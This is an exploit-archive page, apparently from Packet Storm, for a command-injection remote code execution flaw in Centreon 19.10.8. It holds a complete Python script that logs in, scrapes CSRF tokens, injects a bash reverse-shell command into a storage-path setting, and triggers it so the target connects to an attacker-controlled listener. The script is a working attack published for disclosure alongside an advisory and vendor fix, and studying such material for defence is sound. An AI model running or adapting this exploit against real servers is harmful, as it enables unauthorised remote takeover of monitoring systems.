what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Centreo 19.10.8 Remote Code Execution

Centreo 19.10.8 Remote Code Execution
Posted Mar 26, 2020
Authored by Engin Demirbilek

Centreo version 19.10.8 suffers from a DisplayServiceStatus remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 8a718bebfcc5413c346b04bb287ec94268a6716395780bbb22d8d703a9c80a25

Centreo 19.10.8 Remote Code Execution

Change Mirror Download
# Exploit Title: Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution
# Date: 2020-03-25
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.centreon.com/
# Version: 19.10.8
# Tested on: CentOS
# Advisory link: https://engindemirbilek.github.io/centreon-19.10-rce
# Corresponding pull request on github: https://github.com/centreon/centreon/pull/8467#event-3163627607

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) < 6:
print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
centreon_token = s.find('input', {'name':'centreon_token'})['value']

login_creds = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": centreon_token
}


print("[+] Sendin login request...")
login = req.post(url+"/index.php", login_creds)

if "incorrect" not in login.text:
print("[+] Logged In, retrieving second token")

page = url + "/main.get.php?p=50118"
second_token_req = req.get(page)
response = second_token_req.text
s = BeautifulSoup(response, 'html.parser')
second_token = s.find('input', {'name':'centreon_token'})['value']

payload = {
"RRDdatabase_path": "/var/lib/centreon/metrics/",
"RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
"RRDdatabase_nagios_stats_path": "/var/lib/centreon/nagios-perf/",
"reporting_retention": "365",
"archive_retention": "31",
"len_storage_mysql": "365",
"len_storage_rrd": "180",
"len_storage_downtimes": "0",
"len_storage_comments": "0",
"partitioning_retention": "365",
"partitioning_retention_forward": "10",
"cpartitioning_backup_directory": "/var/cache/centreon/backup",
"audit_log_option": "1",
"audit_log_retention": "0",
"submitC": "Save",
"gopt_id": "",
"o": "storage",
"o": "storage",
"centreon_token": second_token,


}
print("[+] Sendin payload...")
send_payload = req.post(page, payload)

trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
print("[+] Triggerring payload...")
trigger = req.get(trigger_url)

print("[+] Check your listener !...")

else:
print("[-] Wrong credentials")
exit()
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close